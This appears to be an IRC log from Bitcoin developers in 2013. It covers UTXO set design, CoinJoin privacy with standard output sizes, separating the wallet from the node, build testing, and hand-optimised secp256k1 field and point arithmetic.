16:39 < petertodd> Represent it such that the actual UTXO scriptPubKey has to be provided along with an appropriate proof.
16:39 < sipa> you probably want some per-human granularity above "something/nothing"
16:40 < petertodd> sipa: The value of the UTXO would be part of the proof you are asked to provide to spend it.
16:41 < sipa> ah
16:44 < petertodd> sipa: anyway, the other part of that observation, is how the UTXO set could also be nothing more than H(outpoint) truncated to, say, 160bits, giving you 160 giga bytes - also reasonable.
16:44 < petertodd> Again, make transactions provide the outpoints they're spending.
16:47 < petertodd> (note how close this proposal is to P2SH)
17:08 < K1773R> petertodd: https://github.com/runn1ng/namecoin-files
17:19 < HM2> lol
18:00 < amiller> i have been thinking about a weird idea
18:00 < amiller> i am not sure whether it's possible to even state this clearly
18:00 < amiller> one of the main points of this one bitcoin economics paper is that following the stated rules is only a "focal point"
18:01 < amiller> http://www.weis2013.econinfosec.org/papers/KrollDaveyFeltenWEIS2013.pdf
18:01 < amiller> it would conceptually be easy to perturb various rules and if everyone switches all at once, then there's not obstacle to doing so
18:01 < amiller> like a hardfork change requires nothing more than a hardfork
18:01 < amiller> could there be a way to bake in the rules so that it would be hard to perturb them without breaking the whole thing?
18:02 < amiller> there's something like a lower bound, which is that everyone could just stop working on bitcoin and switch to some other protocol all at once
18:02 < amiller> but then the transaction history would all be different and such
18:02 < amiller> there's no way to prevent everyone leaving bitcoin and participating in some other protocol instead
18:02 < amiller> but a hardfork change is different because it builds on the previous history
18:02 < gmaxwell> arguably thats the most ethical way to change the rules, but evaporation is a risk.
18:03 < amiller> so something like error correcting code
18:03 < amiller> where the validation code is built into the history somehow
18:03 < amiller> i mean you could embed the source code to the validation rules in the history
18:03 < amiller> like a commitment to it
18:03 < gmaxwell> E.g. people would be forced to change only by economic realityies and network effect, but not by the software.
18:03 < amiller> but it's not binding
18:03 < amiller> maybe there's a way to build the validation code commitments
18:03 < gmaxwell> amiller: well you could make it binding. and use a majority vote. But voting for rules is not actually just.
18:04 < amiller> into everyones public keys
18:04 < gmaxwell> Democracy isn't a virtue, its a compromise.
18:04 < amiller> so that if you perturbed the valiadtion rules at all
18:04 < amiller> you would get no security whatsoever
18:04 < amiller> so it's like every slightly changed ruleset using the same transaction history would be trivial/broken
18:04 < amiller> then the only way to proceed would be to commit transactions satisfying the correct rues
19:42 < gmaxwell> petertodd: you going to try to do a windows binary for dust-b-gone or should I try to nag someone else to do it?
19:42 < petertodd> gmaxwell: nag someone else - I don't have a copy of windows to do it on
19:45 < gmaxwell> petertodd: nor do I. :) OK.
19:47 < petertodd> gmaxwell: fwiw there hasn't exactly been many people using it...
19:48 < gmaxwell> petertodd: yea, I know, but no drool and clickly way to run it is one barrier.
19:49 < gmaxwell> I saw someone trying who was hung up on some python dependencies.. I think the windows exe magic stuff fixes that too.
19:49 < petertodd> gmaxwell: yeah, I think I helped that guy
--- Log closed Wed Oct 16 00:00:13 2013
--- Log opened Wed Oct 16 00:00:13 2013
04:42 < warren> http://mastercoin-explorer.com/ <--- Mastercoin actually exists?
04:42 * warren hasn't been paying attention
04:44 < warren> huh. this thing is just another litecoin-0.6.3 clone
04:48 < warren> oh wait, there's actually two coins called mastercoin
04:51 < gmaxwell> lol
04:59 < sipa> are there any english dictionary words $W for which {$W}coin doesn't exist?
05:33 < wumpus> lol
05:33 < wumpus> starting to doubt it
05:33 < wumpus> almost looks like someone implemented my random altcoin generator idea
05:34 < warren> Does it get listing on an exchange on the first day, upload to github, post to bitcointalk, etc?
05:34 < warren> =)
05:36 < wumpus> it doesn't get listing on an exchange (that'd need help from one of the exchanges), but generating a name, generating a ruleset, uploading to github, posting to bitcointalk, sure :-)
05:36 < warren> steal a random picture from google images for the logo
05:37 < warren> automate more steps and more people will do it!
05:37 < wumpus> yeah or just generate a random color for the bitcoin logo and put a different letter in it
05:37 < warren> hah
05:41 < sipa> you should make it a game
05:41 < sipa> you can tweak only N parameters
05:41 < sipa> but if your altcoin takes off, you level up
05:41 < sipa> and you get to change more things in your next coin
05:42 < warren> sipa: game administrator might have to be centralized ...
05:42 < sipa> is that a problem?
05:42 < sipa> checkpoint broadcasts are ok as well, no?
05:43 < warren> seems anything is OK there.
05:51 < wumpus> good idea, 'coin tycoon'
05:52 < sipa> tycoin!
05:52 < wumpus> :D
05:52 < gmaxwell> thaicoin?
05:53 < gmaxwell> what currency symbol could it use?
05:53 < gmaxwell> I know, the Thai baht symbol!
05:53 < gmaxwell> (if its not already taken)
06:08 < gmaxwell> sipa: http://bitcoin.sipa.be/speed-lin-2k.png you're off the scale again
06:08 < warren> Bitcoin is THAT awesome. Off the scale.
06:14 < gmaxwell> warren: you ever offload that bfl you bought onto someone else? :P
06:14 < sipa> gmaxwell: my bitcoind is down it seems :(
06:14 < warren> gmaxwell: yeah, and I feel guilty about it now.
06:15 < warren> gmaxwell: I'm considering just giving his money back and eating the loss even though contractually I don't need to.
06:17 < warren> gmaxwell: I
06:17 < warren> I'm hearing nothing about deliveries now, and people who ordered months before me are reporting no deliveries, so the guy who bought mine is screwed.
06:17 < gmaxwell> hm. Did they suddenly go quiet?
06:18 < gmaxwell> I know people who had SC order recenly (couple weeks ago) got their piles of singles alternative.
06:18 < warren> recently?!
06:18 < warren> huh
06:18 < warren> gmaxwell: my April 2013 order didn't ship yet
06:19 < gmaxwell> no no I mean they recently recieved stuff, not recently ordered.
06:19 < gmaxwell> Ordering back in 2012.
15:04 < gmaxwell> phantomcircuit: e.g. it can just ban their input for N hours, if you want, you're free to choose the paramters to make it reasonable.
15:04 < petertodd> gmaxwell: done
15:05 < petertodd> andytoshi: sorry, just sent it already
15:05 < gmaxwell> andytoshi: what part of the world are you located in?
15:05 < andytoshi> no worries :)
15:05 < andytoshi> gmaxwell: austin
15:05 < andytoshi> it's a $300 flight
15:05 < petertodd> andytoshi: ah, if you were local I'd say just sneak in :)
15:05 < andytoshi> :P
15:05 < petertodd> andytoshi: $100 flight for me
15:06 < andytoshi> hopefully in a year or two i'll have the connections here for the university to fund me..
15:07 < phantomcircuit> gmaxwell, so interesting thought (which im sure someone else has had) coinjoin combined with outputs broken up into standard sized pieces would make it effectively impossible to run conventional money tracing algorithms
15:07 < andytoshi> maaku, gmaxwell: i understand your blinding protocol now, thanks
15:07 < phantomcircuit> as it stands with coinjoin you wouldn't be very protected if you were merging with significantly different amounts from everybody else
15:07 < gmaxwell> phantomcircuit:
15:07 < andytoshi> i'd still like to have multi-day joins, and it's too inconvienient if there's a possibility of invalidation
15:07 < petertodd> phantomcircuit: yeah, my post-dark-wallet write-up was going to suggest that merge-avoidance + coinjoin is a powerful tool
15:07 < phantomcircuit> but if all the outputs were powers of 2
15:08 < phantomcircuit> well now
15:08 < phantomcircuit> good luck with that
15:08 < phantomcircuit> petertodd, i actually already do something sort of like this with the intersango cold storage
15:08 < petertodd> phantomcircuit: should do it as a slider basically saying "I'm willing to pay up to x% more fees for better privacy"
15:08 < petertodd> phantomcircuit: oh cool
15:08 < phantomcircuit> i exploded it into lots of standard sized outputs ages ago
15:08 < phantomcircuit> and every so often do it again
15:08 < phantomcircuit> im sure it's not actually safe
15:09 < phantomcircuit> but it means that finding it is at least non trivial
15:09 < gmaxwell> phantomcircuit: yes, if all the outputs are equal sized you have perfect information theoretic anonymity among all the players. (or if they nicely factor then you have privacy proportional)
15:09 < gmaxwell> phantomcircuit: thats also why andytoshi's tool tells you which output values are most popular... so you can match them up.
15:10 < phantomcircuit> ah
15:10 < phantomcircuit> gmaxwell, yeah i was just thinking like
15:10 < gmaxwell> if the outputs aren't matched up (or at least factor nicely) then CJ just has the benefit of breaking 'taint' analysis assumptions about common key ownership.
15:10 < gmaxwell> Which is good to do, but not very private.
15:10 < phantomcircuit> 1/0.5/0.25/0.125 etc etc down to the point at which it would be dust
15:10 < phantomcircuit> and then whatever dust there is would pay to the meeting point as a small fee
15:11 < gmaxwell> oh interesting, a fixed cascade.
15:11 < phantomcircuit> or even as a transaction fee
15:11 < phantomcircuit> gmaxwell, yeah then you REALLY couldn't follow anything
15:11 < phantomcircuit> (also it protects against someone intentionally making a weird output size very popular to trick you)
15:12 < andytoshi> hmm, i like this idea
15:12 < gmaxwell> if you're putting in 10 btc though, you really probably don't want to recieve it back as a zillion 0.125 btc outputs.
15:12 < petertodd> phantomcircuit: kinda reminds me: I was thinking coinjoin w/ ANYONE_CAN_PAY is useful because it lets you easily up tx fees by adding dust txin's as needed
15:12 < phantomcircuit> gmaxwell, with HD wallets and public derivation you could even pay everybody like that
15:12 < gmaxwell> petertodd: yea but right now doing anyone can pay makes the CJ transactions very distinguishable.
15:13 < petertodd> phantomcircuit: yeah, we need a way in the payment protocol for recievers to state how many extra addresses they're willing to have payments spread over
15:13 < phantomcircuit> gmaxwell, 10 btc would come back to you as 8/2
15:13 < petertodd> gmaxwell: yup, works best if everyone uses cj...
15:13 < phantomcircuit> gmaxwell, you would still need to be merging approximately the same amounts
15:13 < andytoshi> gmaxwell: if you had, say, fixed output sizes of 10, 5, 1, 0.5, 0.1, that should suffice
15:13 < andytoshi> restricted output sizes*
15:13 < phantomcircuit> but even if you weren't at the very least the smaller amounts would be perfectly anonymous
15:13 < gmaxwell> andytoshi: really? someone puts in 1 someone else puts in 10. .. now they get no privacy under that scheme.
15:14 < phantomcircuit> gmaxwell, i forget what's the default dust limit for an output?
15:14 < andytoshi> well, you'd combine it with the 'most popular output' scheme
15:14 < gmaxwell> phantomcircuit: e.g. if you get an output of X no one who put in <X would be in the same anonymity set as you.
15:14 < petertodd> Anyway, fixed output sizes are all well and good, but in addition to that you can do value matching: party #1+n to the CJ intentionally picks the same output value for some or all of their txouts as a previous party.
15:14 < phantomcircuit> is it 0.0005 ?
15:14 < andytoshi> but yes, that could be the case
15:14 < helo> 0.00005something
15:14 < phantomcircuit> gmaxwell, right
15:15 < petertodd> Or, even more sophisticated, some output value that is the sum of their txin's and your txins, or some similar strategy.
15:15 < gmaxwell> andytoshi: in any case you can do something like where the biggest output is <= the smallest input, and then you have octaves and you randomly assign people's coins to outputs.
15:16 < maaku> phantomcircuit: coin size doesn't actually matter ... you're only mixing with the people participating in the transaction
15:16 < maaku> and from transaction to transaction you can very the output sizes
15:16 < petertodd> *sum of a subset of their txins and your txins
15:16 < andytoshi> i'd like that, but there's still edge cases (that aren't too extreme) where i'm asking people for 20 addresses
15:17 < gmaxwell> andytoshi: and paying their 10 BTC input as a zillion .125 outputs. :P
15:17 < phantomcircuit> maaku, right but lets say you have 1 input for 200 btc and we explode that into outputs for 128/64/8
15:17 < phantomcircuit> maaku, and there is 1 other input for 10 btc
15:17 < phantomcircuit> only the 8 btc output is anonymous
15:17 < phantomcircuit> the 128 and 64 are both clearly linked to the 200 btc input
15:18 < phantomcircuit> ahah wait
15:18 < gmaxwell> phantomcircuit: ENOTENOUGHDATA
15:18 < phantomcircuit> that's wrong
15:18 < gmaxwell> phantomcircuit: if there are two people with 200 BTC inputs, you're great.
15:18 < phantomcircuit> you can have multiple inputs yourself
15:18 < phantomcircuit> so 10 inputs for 10 BTC and 2 outputs for 50 BTC tells you nothing about who is who
15:18 < gmaxwell> sure sure, I'm trying not to assume that the inputs themselves are already somewhat anonymous.
15:19 < gmaxwell> The hard case is where all the data going in is know, if you're secure in that case you're secure in the easier versions.
15:19 < phantomcircuit> gmaxwell, right neither am i
15:19 < phantomcircuit> gmaxwell, if you have exactly 2 inputs both of which are not anonymous and outputs which are larger than one of the inputs
15:19 < phantomcircuit> then those outputs are clearly linked to the larger input
15:20 < maaku> phantomcircuit: if you perform three 2 party mixes, then you've reduced taint of your original input down to 1:8 ... even if there are a thousand other particpants with that output size
15:20 < maaku> your output is still only one of those eight, and definately not one of the other 992 outputs
15:20 < phantomcircuit> maaku, taint is such a terrible measure :/
15:21 < maaku> well im speaking loosly, not giving taint any specific meaning
15:21 < phantomcircuit> maaku, if you take the larger outputs and merge them receiving ever smaller outputs (ie exploding them into a standard size) then you eventually end up with tons of tiny outputs that are super annoying
15:21 < gmaxwell> The word you want to use is "anonymity set".
15:21 < maaku> in coinswap you do benefit from the size of the crowd, but not coinjoin
15:21 < maaku> phantomcircuit: you don't have to explode your outputs, that's what I'm saying
15:21 < gmaxwell> well coinswap crowd benefits would currently be ~0 due to the fact that escrow transactions are basically non-existing, though that'll change.
15:22 < phantomcircuit> ideally you could get a distribution of who controls the inputs
15:22 < phantomcircuit> maaku, if you dont control your outputs to be standard sizes you'll run into fuzzy statistical matching that is actualyl very very sophisticated
15:23 < phantomcircuit> maaku, in general "dirty" money flowing around the banking system isn't traced by following each hop but rather is traced using fairly broad statistics
15:23 < gmaxwell> phantomcircuit: sure and you can reduce the distribution to a single number
the entropy of the distribution.
15:23 < andytoshi> i think having a 'most popular output', and a small set of standard sizes, would suffice
15:23 < andytoshi> then i'd spin up multiple joiners with different standardsizes
15:23 < phantomcircuit> gmaxwell, hmm
15:24 < maaku> "you'll run into fuzzy statistical matching that is actualyl very very sophisticated" I don't think this is correct
15:24 < phantomcircuit> maaku, the attempts at tracing bitcoins on the network to date have been ... how do i put this nicely? ... not sophisticated
23:25 < phantomcircuit> gmaxwell, in general i suspect the best he could hope for is to recover 20 BTC at the time tradehill (version one) was liquidated
23:25 < phantomcircuit> iirc it was actually formally and legally liquidated in chile
23:26 < phantomcircuit> there might be a transfer agreement specifying liabilities... but i doubt it
23:26 < phantomcircuit> it's like there's a guy who owes intersango 511 BTC
23:26 < gmaxwell> phantomcircuit: right, so there you go, time to shut down intersango.
23:26 < phantomcircuit> but it was from when that was worth 4k USD
23:27 < phantomcircuit> there is no way we could get a court to find that he owes us 408k USD instead
23:27 < phantomcircuit> gmaxwell, im going to try changing the business model relatively soon hopefully that will align the costs with the fees
23:27 < phantomcircuit> and people will stop thinking their 10 EUR transfer will be executed immediately
23:36 < pigeons> i met jared and the tradehill folks at the money202 conference in vegas a few months ago and was kind of suprised they show their faces
23:36 < pigeons> the whole san fransisco crows with him, jesse powell, jonathan ryan owens, jared kenna etc
23:36 < pigeons> *crowd
23:36 < pigeons> *money2020
23:53 < phantomcircuit> pigeons, afaict jered himself doesn't intentionally screw people over
23:53 < phantomcircuit> it just kind of happens
23:53 < phantomcircuit> the others though? well that's a different story
23:53 < pigeons> ok, well makes me wary
23:54 < phantomcircuit> total 90degree shift here
23:54 < phantomcircuit> one server with vmware or multiple servers
23:56 < pigeons> probably whatever your admin prefers
23:57 < pigeons> i prefer multiple servers on my own projects, but i for some reason like it all on vmware when its someone else's project, easier for me to keep striaght ofr some reason
23:58 < phantomcircuit> pigeons, im the admin
23:58 < phantomcircuit> yeah i guess individual servers
23:58 < pigeons> of course if you're paranoid there are always break out of the guest and compromise the host bugs that take years to even get leaked
23:58 < phantomcircuit> bleh have to buy switches and shit then
23:59 < pigeons> probably more and more such bugs the way they don't really virtualize the video cards
--- Log closed Tue Nov 26 00:00:08 2013
--- Log opened Tue Nov 26 00:00:08 2013
00:00 < phantomcircuit> hmm
00:00 < phantomcircuit> true
01:48 < Ryan52> cfields: Oh, okay. Sorry about that, I should have provided a status update, I totally fell asleep last night trying to rest my eyes before doing so... I'm on my way out to play cards now, but I'll comment on your commit (or alternate preferred means of providing those details?) tonight.
01:49 < Ryan52> cfields: And no problem regarding missing my pong, please let me know if the results are urgent, and I can try to put a rush on it.
02:28 < cfields> Ryan52: nah, nothing urgent. I just don't want it to go stale
02:29 < warren> cfields: has anyone tested your new gitian targets? sorry I'm too swamped personally now.
02:30 < cfields> warren: not yet. I'm trying to sucker Ryan52 into it :)
02:30 < warren> We'll toss some coins to Ryan52 for doing it and improving it if necessary.
02:31 < cfields> great
02:32 < cfields> Ryan52: i suppose you're not able to trigger the osx db corruption?
02:32 < warren> cfields: I'm pushing builds to all the people who complained to ask for testing of your patch
02:33 < cfields> ok
02:33 < warren> litecoin too
02:33 < cfields> warren: it's a stab in the dark, but there's some logic to it
02:56 < Ryan52> cfields: yeah, understandable, I'll give it a try once I figure out gitian. WRT mac osx, I wish, but my client has been happily downloading blocks for days (perhaps starting with a bootstrap would have somehow been more effective for testing?).
02:56 < Ryan52> s/mac osx/mac osx corruption/
02:56 < warren> Ryan52: bootstrap.dat will be no different in testing as corruption people experience seems to be mostly after full sync
02:57 < Ryan52> warren: yeah, that was my assumption, I wasn't sure if it was valid. thanks for confirmation.
02:58 < Ryan52> I thought maybe throwing stuff at it while it is busy downloading/validating/etc might make reproducing faster, but it was a long shot.
02:59 < warren> nah, reproducers have been as simple as "clean shutdown" and start it again
03:13 < warren> cfields: so folks want qt5 with autotools, but there's no qt5 in macports yet?
03:14 < Emcy> anyone think its worth getting a topic for bitcoin put on usenet
03:15 < warren> no
03:15 < Emcy> :(
03:15 < wumpus> warren: demand for qt5 doesn't come only from mac
03:17 < warren> wumpus: I know
03:17 < wumpus> the newer ubuntus also come with qt5 by default
03:17 < warren> and lack db48?
03:18 < wumpus> yes
03:18 < warren> is anyone going to get rid of bdb?
03:18 < wumpus> as it is now, it looks like we're getting rid of the wallet before getting rid of bdb
03:19 < Emcy> only the wallet uses bdb
03:19 < wumpus> (well, at least to make wallet optional, and use nowalletmode by default)
03:19 < wumpus> yes Emcy
03:19 < Emcy> its simple, we kill the wallet and we kill the bdb lol
03:21 < wumpus> it wouldn't solve the problem, of course, as people that want to use the wallet are still stuck with bdb, but the wallet component will always need it for backwards compatibility anyhow :/
03:22 < wumpus> we can't just say 'hey, you can't use your old wallet.dat's anymore!'
03:23 < warren> cfields: do still plan on redoing the win32 gitian deps?
03:23 < warren> cfields: tarball instead of zip, version upgrades, etc.
03:24 < Emcy> look sipa will get around to it one day
03:24 < Emcy> theres in only one of him
03:24 < wumpus> I'm not sure Emcy, I think he lost interest in the wallet part as well, he's focused on improving the block handling now
03:25 < Emcy> rightly so
03:25 < wumpus> which is also a much higher priority
03:25 < wumpus> there are many wallets, but there is only one full node
03:25 < Emcy> i wouldnt like to see the wallet part fall into such disrepair that someone jsut says fuck it and comments it all out one day
03:26 < Emcy> i suppose thats a danger if no one works on it for years
03:26 < wumpus> the nice way would be to seperate it out into a different part
03:26 < Emcy> i was surprised to see gavins old headers first branch on the github the other day too like 2 years old, so it could happen
03:27 < wumpus> we just don't have enough interested developers
03:27 < Emcy> wumpus i wouldnt like to see a functioning reference client be fractured into parts
03:28 < Emcy> im sure it makes sense to nerds but thats how you turn the project into a plaything for just the tech elite
03:28 < wumpus> *everyone* with C++ skills could say any day "hey, let's improve the wallet" and improve the code and submit a pull
03:28 < Emcy> well there are like 150 people with commits on the github but most of those are one or 2
03:29 < gmaxwell> seems to be a lot more interest in reimplementing the basic underlying stuff.
03:29 < wumpus> but as it looks now, on the long term we need to focus the bitcoin projects on its core responsibilities
03:29 < wumpus> which is the P2P and block chain handling
03:29 < Emcy> but yes im surprised there hasnt been more interest from all the rest of the talented people out there
03:29 < wumpus> gmaxwell: yes, many people get stuck in the 'let's reimplement this to learn' part
03:30 < Emcy> with bitcoin being like a new frontier of computer sceince or whatever......thought that would attract the brainboxes. Perhaps even academia for more than shitty papers here and there
03:31 < midnightmagic> Emcy: Nobody wants to be the one that broke bitcoin.
03:31 < wumpus> Emcy: and splitting up the project doesn't have to mean anything changes for end users, we couuld still package a full node with wallet if there is demand for that, it will just consist of multiple parts internally
03:34 < wumpus> Emcy: well there is lots of focus on bitcoin as a currency or speculation vehicle, but almost none on the open source project
03:34 < Emcy> right
03:35 < Emcy> goes along with my suspicians that all the price wanking is hurting bitcoin the project in subtle ways
03:35 < wumpus> we're extremely good at attracting traders and gamblers though, but expecting them to learn to code between their adrenaline binges would be expecting too much :-)
03:35 < midnightmagic> :)
03:36 < Emcy> but there are many parts of the sytem that can only be engineered on in situ
03:36 < Emcy> because no one knows how the fuck it will behave otherwise
03:38 < Emcy> i wonder if some team could get an EU grant to do bitcoin stuff
03:38 < Emcy> theres a team that gets EU money to code a functioning 100% decentralised torrent client i think
03:39 < Emcy> tribler? I think thier solutions was MOAR DHT though
03:39 < gmaxwell> maybe there should be a gambling interface that shims into GCC. "Will this line of code compile? Bet now!"
03:40 < wumpus> hehe, and a code editor that combines statements using a slot machine
03:41 < gmaxwell> spliting out the wallet is important for a lot of reasons. It is somewhat crazy that our private key handling wallet process is exposed to the internet. With the wallet seperated we could do a lot better sandboxing of all the processes.
03:41 < warren> gmaxwell: that might be the cause of the macos x corruption
03:41 < Emcy> and threading of things that should be threaded
03:41 < gmaxwell> oh some sandboxing thing?
03:42 < warren> gmaxwell: no, "Will this line of code compile? Bet now!"
03:42 < wumpus> or with speculation 'this line of code is now worth 3 mBTC, invest in it to make it worth more!'
03:42 < gmaxwell> ah!
03:42 < gmaxwell> lol
03:42 < Emcy> as long as you can still compile a binary with all the parts forming a functioning client, it would be ok
03:42 < Emcy> as long as it doesnt end up like PGP
10:09 < HM> if (!BN_mul_word(x, i)) { ret=-1; goto err; }
10:09 < HM> if (!BN_add(x, x, ecsig->r)) { ret=-1; goto err; }
10:10 < HM> very simple
10:10 <@sipa> indeed
10:11 < HM> is it just 2 possible values?
10:11 < HM> p/n is the cofactor isn't it?
10:11 < HM> which is 1
10:11 <@sipa> yes, n is 2^256 - 2^128 approximately
10:12 <@sipa> so the chance of it being >n is even exceedingly small
10:14 < HM> very cool
10:14 < TD> HM: the same code exists in bitcoinj in a more readable form
10:14 * HM covers sipas ears
10:14 < HM> more readable than sipa's code you say? :P
10:14 <@sipa> HM: i make no claim my implementation of key recovery is good
10:15 <@sipa> it's a straightforward implementation of the algorithm in SEC1, but it could be much more readable
10:15 < TD> well, you can't really make openssl based code readable
10:15 < TD> https://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/ECKey.java#464
10:16 <@sipa> some parts can be abstracted into functions, variables can be more readable, ...
10:16 <@sipa> also, i'm not actually convinced i use the BN_CTX api correctly - it may leak
10:17 <@sipa> (something i learnt when reimplementing Hal's optimization)
10:18 < HM> TD: i prefer ther C++ :P
10:18 <@sipa> HM: feel free to compare with the OpenSSL-using code in https://github.com/bitcoin/bitcoin/pull/2061/files
10:18 < TD> each to their own :)
10:20 < HM> yeah that code is nice
10:21 < HM> I think that FLV optimisation, or whatever it is called, it well outside my grasp atm though
10:21 <@sipa> the reason why it works, i don't understand either
10:22 <@sipa> but given the mathematical property, i understand why this is correct and gives a speedup
10:23 <@sipa> HM: also, originally it was this code by Hal: https://bitcointalk.org/index.php?topic=3238.msg45795#msg45795
10:26 < HM> hmm
10:27 < HM> is it going to merge sipa?
10:27 < HM> or are you waiting for a cryptoangel to come down and bless it?
10:32 < HM> i think the bad bit is you're duplicating code from OpenSSL
10:36 < HM> offtopic but hilarious:
10:36 < HM> http://blog.evernote.com/tech/2011/05/17/architectural-digest/#comment-455
10:36 < HM> "Before Evernote, I spent five years building high-end cryptographic systems for government customers"
11:23 <@sipa> HM: i'd hope to get that into 0.8.1, but i doubt gavin likes to merge it without some big-ass crypto guy signing off on it
11:23 <@sipa> maybe rightfully so
11:25 < gavinandresen> I'd be ok merging it as an off-by-default "if sipa-turbo-transaction" option that people who are CPU limited wanted to use, could use....
11:26 < HM> lol "sue sipa mode"
11:26 <@sipa> hmm
11:27 <@sipa> i'm currently actually trying to write an ECDSA implementation from scratch, with all operations specialized for secp256k1
11:27 <@sipa> trying to see if i can beat OpenSSl :p
11:29 < HM> including your own bignum ops? :p
11:31 <@sipa> yes, i already have a specialized implementation for arithmetic modulo the secp256k1 field size
11:31 <@sipa> which has a function that does an integrated multiply-and-modulo or square-and-modulo
11:32 <@sipa> i haven't compared it with OpenSSL's montgomery multiplication (which is in assembly!) but it beats (naive) GMP by a factor of >4
11:32 < HM> nice
11:33 < HM> Bernsteins implementation of curve25519 was written in his own assembly language and translated to x86 using his own translator :|
11:33 < HM> I'm not sure if he wrote his reference of Ed in the same language
11:33 < HM> haven't looked at it
11:34 <@sipa> well i use a trick i read in the ed25519 paper, namely using 5 uint64_t's (with 52 bits in each) instead of 4
11:34 <@sipa> so you need somewhat more multiplications, but you can add several together before doing a carry
11:35 <@sipa> it needs 47ns for a field multiplication on my 3.1GHz i7
11:35 <@sipa> and doesn't have any assembly code
11:35 < HM> 52 x 5 is 260
11:36 <@sipa> the last one only has 48 bits :)
11:36 < HM> so the top 4 are 0
11:36 < HM> keeps code simple i guess
11:36 < HM> that doesn't sound particularly tricky
11:37 <@sipa> well the trick s verifying that for any allowed input you never overflow any internal variable
11:37 < HM> why is avoiding the carry ideal?
11:37 <@sipa> because 64-bit addition with carry is slow
11:37 <@sipa> (and hard to do in C...)
11:38 < HM> i guess
11:38 < HM> i wrote a divideby58 function that uses 24 bits in uint32_t words
11:38 < HM> the top byte just becomes the carry
11:38 <@sipa> and it allows you to do field additions, subtractions and multiplications with small constants without any carry
11:38 < HM> since 58 takes 6 bits
11:39 < HM> but i was just bored
11:39 <@sipa> just add/sub/mult the respective uint64_t's together
11:39 <@sipa> if you can prove they won't overflow
11:39 < HM> yeah
11:40 < HM> http://pastebin.com/rRcrYUm8
11:41 <@sipa> anyway, the result is a field doubling in 361ns
11:41 <@sipa> eh point doubling
11:41 <@sipa> i haven't implemented addition yet, or compared with openssl
11:41 < HM> sounds fast
11:42 <@sipa> i suspect it's at most a factor 2-3 faster than openssl, but may be a lot less
11:45 < HM> you should look at compiler intrinsics for 128bit operations if you want to push it further
11:45 <@sipa> i use those
11:45 <@sipa> you can't do 64*64 multiplication otherwise
11:47 < HM> sure you can
11:47 < HM> won't be fast though
11:48 <@sipa> well there is no way to do a native 64*64 multiplication in one instruction that keeps the upper ,64bit of the output otherwise
11:48 <@sipa> better?
11:49 < HM> I am satisfied :)
12:57 <@sipa> gavinandresen: -turbo added :)
13:05 < gavinandresen> cool, I look forward to the TurboUltraPlus version
18:04 <@sipa> \o/ 725ns for a point addition
18:42 < HM> that seems pretty slow
18:42 < HM> you can do better
18:43 < HM> sipa: you should really normalise that in cycles.
18:44 < HM> or cycles per byte
18:44 < HM> hmm
18:49 <@sipa> well, to give any meaningful number: a rough guess is 3x faster than OpenSSL
18:50 < HM> good work
18:51 < HM> I would find the code interesting as well
18:51 <@sipa> though i'm pretty far from a full implementation, it's just the field & group operations for now
18:52 * HM nods
19:08 < ielo> hi
19:19 < HM> hi ielo
19:19 < HM> the address format is really weird in bitcoin
19:20 < ielo> why
19:20 < HM> well the hash is converted in to base58 in big endian
19:20 < HM> so the first byte is the most significant
19:20 < HM> then it's reversed
19:20 < HM> so it's now little endian
19:20 < HM> then the front is padded, if applicable, with 1's
19:21 < HM> which means you're semantically adding 0's to the least significant end
19:21 < HM> makes no sense
19:22 < ielo> but all of those parts are useful like the key hash and checksum no?
19:23 < HM> right, it's a composite structure, so it really has no endianness
19:25 < HM> https://github.com/bitcoin/bitcoin/blob/master/src/test/data/base58_encode_decode.json
19:26 < HM> a naive conversion of say 00eb... will treat it as a big endian bigint and output L9ED...
19:27 < ielo> but in what situation would that happen
19:28 < HM> the mainline client does it
19:29 < HM> https://github.com/bitcoin/bitcoin/blob/master/src/base58.h#L64
19:31 < HM> e.g. if you had "10000" and divided it by "10" the BN_div and append op actually produces "1000"
19:31 < ielo> /
19:31 < ielo> / Why base-58 instead of standard base-64 encoding?
19:31 < ielo> / - Don't want 0OIl characters that look the same in some fonts and
19:31 < ielo> / could be used to create visually identical looking account numbers.
19:31 < ielo> haha
19:31 < ielo> thats curious
19:32 <@sipa> HM: https://github.com/sipa/secp256k1/blob/master/secp256k1.cpp
19:33 < HM> hmm
19:33 < HM> there are some microops you can still do there i think
19:34 < HM> micro optimisations
19:34 <@sipa> i have no doubt about that
19:34 <@sipa> but much is compiler-dependent at that point
19:34 <@gmaxwell> next that gets converted into ASM. :P
19:35 <@sipa> well, that's what i mean: if you want to optimize further, you're probably better off generating the assembly, and tweaking that
19:35 < HM> i doubt it
19:36 <@sipa> for example i do keep a 128-bit accumulator throughout the first multiplication stage in SetMult
19:36 < HM> you should benchmark it in more than 1 compiler though
19:36 < HM> perhaps intels
19:36 <@sipa> in an earlier version, i took the resulting shifted output into a uint64_t, and added to that to obtain the next __int128
19:37 <@sipa> in theory, that is faster, as i know the top 64 bits are zero
19:37 <@sipa> however the generated code was slower
19:37 <@sipa> so there is certainly room for improvement at the assembly stage
19:38 < HM> 100 million
19:38 < HM> how long does it take roughly
19:38 <@gmaxwell> well, not like the compiler is going to output PCLMULQDQ on its own.
19:39 <@sipa> HM: 2.5 minutes here
19:39 <@sipa> it's actually 200 million additions
19:39 <@sipa> but i wanted to avoid always adding the same number
19:39 < HM> I'm going to try something
19:40 <@sipa> feel free :D
19:41 < HM> i only have an i5 480M in this laptop so might take a while
19:41 <@sipa> gmaxwell: it does output mul and adc instructions, which is what i need
19:42 <@sipa> (64-bit multiply with 128 output, and addition with carry of two 64 bit values)
19:42 <@sipa> i think it however generates a few add instructions too many
19:42 < HM> i wonder how much overhead is due to the lack of inlining in the openssl version
19:43 < HM> plus those CTX structs
19:45 <@sipa> those CTX's are actually very efficient
19:46 <@sipa> they cause algorithm to reuse the same variables throughout many iterations
19:46 <@gmaxwell> thats the sort of thing that the cpu will handle well too usually.
19:47 <@sipa> gmaxwell: well you don't want malloc()/free() inside your tight crypto loops
19:56 < HM> hmm
19:56 < HM> well
19:58 < HM> takes over a microsecond here
19:58 < HM> 3m30
19:59 < HM> 2.2 Ghz core
19:59 < HM> 2.67 actually :|
00:00 < petertodd> But what's nice about that, is by making burning coins possible, you can give nice lower-bounds on how much it'd cost an attacker to attempt to re-org the chain!
00:00 < petertodd> That's actually a good thing!
00:00 < amiller> i don't think so?
00:01 < amiller> burning coins is already possible, just make it a softfork thing
00:01 < amiller> i guess you're just arguing that people should take advantage of that and start doing it
00:01 < petertodd> Why not? In reality they could rent the hashing power, maybe, and you have no strong idea if it's possible.
00:01 < petertodd> Huh? What does a soft-fork have to do with anything?
